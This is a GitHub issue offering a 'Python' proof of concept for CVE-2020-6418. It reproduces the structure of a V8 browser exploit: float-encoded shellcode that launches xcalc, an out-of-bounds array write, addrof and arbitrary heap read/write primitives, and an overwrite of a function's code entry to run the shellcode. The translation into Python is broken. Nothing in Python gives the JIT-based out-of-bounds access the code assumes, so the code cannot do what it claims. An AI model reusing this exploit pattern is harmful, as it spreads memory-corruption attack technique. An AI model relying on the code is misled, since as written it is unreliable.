Skip to content

POC for CVE-2020-6418 - written in python (exploit code) #7

Description

@priyanshukumar397
import struct

def ftoi(f):  # float to int
    # Convert float to binary representation (8 bytes)
    packed = struct.pack('<d', f)
    # Unpack as 64-bit integer
    return struct.unpack('<q', packed)[0]

def itof(i):  # int to float
    # Convert 64-bit integer to binary representation (8 bytes)
    packed = struct.pack('<q', i)
    # Unpack as double-precision float
    return struct.unpack('<d', packed)[0]

def lower(i):  # lower 32 bits of int
    return i & 0xffffffff

def upper(i):  # upper 32 bits of int
    return (i >> 32) & 0xffffffff

def hex_string(i):
    # Return the hex string of a value
    return f"0x{i:016x}"

# Part 2a: Shellcode with Immediate Numbers
def foo():
    # execve("/usr/bin/xcalc", ["/usr/bin/xcalc"], ["DISPLAY=:0"])
    return [
        1.9553820986592714e-246, 1.9557677050669863e-246,
        1.97118242283721e-246, 1.9563405961237867e-246,
        1.9560656634566922e-246, 1.9711824228871598e-246,
        1.986669612134628e-246, 1.9712777999056378e-246,
        1.9570673233493564e-246, 1.9950498189626253e-246,
        1.9711832653349477e-246, 1.9710251545829015e-246,
        1.9562870598986932e-246, 1.9560284264452913e-246,
        1.9473970328478236e-246, 1.9535181816562593e-246,
        5.6124209215264576e-232, 5.438699428135179e-232
    ]

# Trigger optimisation of function so the bytecode is stored in heap
for _ in range(0x10000):
    foo()

# Part 0: Initial OOB write

class Proxy:
    def __getitem__(self, key):
        global a, oob_arr
        a[0] = {}
        oob_arr = [1.1]
        return object

def f(p):
    global a
    a.append(1.9553820986592714e-246 if not callable(p) else 0)  # itof(0x1337133700010000)

def main(p):
    return f(p)

a = [1.1] * 11
oob_arr = []

a.pop()
a.pop()

# Trigger optimisation of main (inlining)
for _ in range(0x10000):
    main(lambda: None)
    a.pop()

main(lambda: None)
main(Proxy())
assert len(oob_arr) == 0x8000  # Achieved OOB

# Part 1: addrof, read write primitives

vic_arr = [1.1] * 128  # Victim float array
obj_arr = [{}] * 256  # Object array

def oob_read32(i):  # Read 32 bits at offset from oob_arr elements
    i -= 2
    if i % 2 == 0:
        return lower(ftoi(oob_arr[i // 2]))
    else:
        return upper(ftoi(oob_arr[i // 2]))

def oob_write32(i, x):  # Write 32 bits at offset from oob_arr elements
    i -= 2
    if i % 2 == 0:
        oob_arr[i // 2] = itof((oob_read32(i ^ 1) << 32) + x)
    else:
        oob_arr[i // 2] = itof((x << 32) + oob_read32(i ^ 1))

def addrof(o):  # Get heap address of object
    global vic_arr, obj_arr
    obj_arr[0] = o
    vic_arr_mapptr = oob_read32(17)
    obj_arr_mapptr = oob_read32(411)
    oob_write32(411, vic_arr_mapptr)
    addr = obj_arr[0]
    oob_write32(411, obj_arr_mapptr)
    return lower(ftoi(addr))

def heap_read64(addr):  # Read 64 bits at arbitrary heap address
    global vic_arr
    vic_arr_elemptr = oob_read32(19)
    new_vic_arr_elemptr = addr - 0x8 + 1
    oob_write32(19, new_vic_arr_elemptr)
    data = ftoi(vic_arr[0])
    oob_write32(19, vic_arr_elemptr)
    return data

def heap_write64(addr, val):  # Write 64 bits at arbitrary heap address
    global vic_arr
    vic_arr_elemptr = oob_read32(19)
    new_vic_arr_elemptr = addr - 0x8 + 1
    oob_write32(19, new_vic_arr_elemptr)
    vic_arr[0] = itof(val)
    oob_write32(19, vic_arr_elemptr)

# Part 2b: Shellcode with Immediate Numbers

foo_addr = addrof(foo)

code_container = lower(heap_read64(foo_addr - 1 + 0x18))
code_entry_addr = code_container - 1 + 0x10
code_entry = heap_read64(code_entry_addr)

print(f"addrof foo = {hex_string(foo_addr)}")
print(f"code container = {hex_string(code_container)}")
print(f"code entry = {hex_string(code_entry)}")

# Overwrite code entry to start of user-controlled immediates
heap_write64(code_entry_addr, code_entry + 0x66)

foo()  # Executes user-controlled immediates as shellcode

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions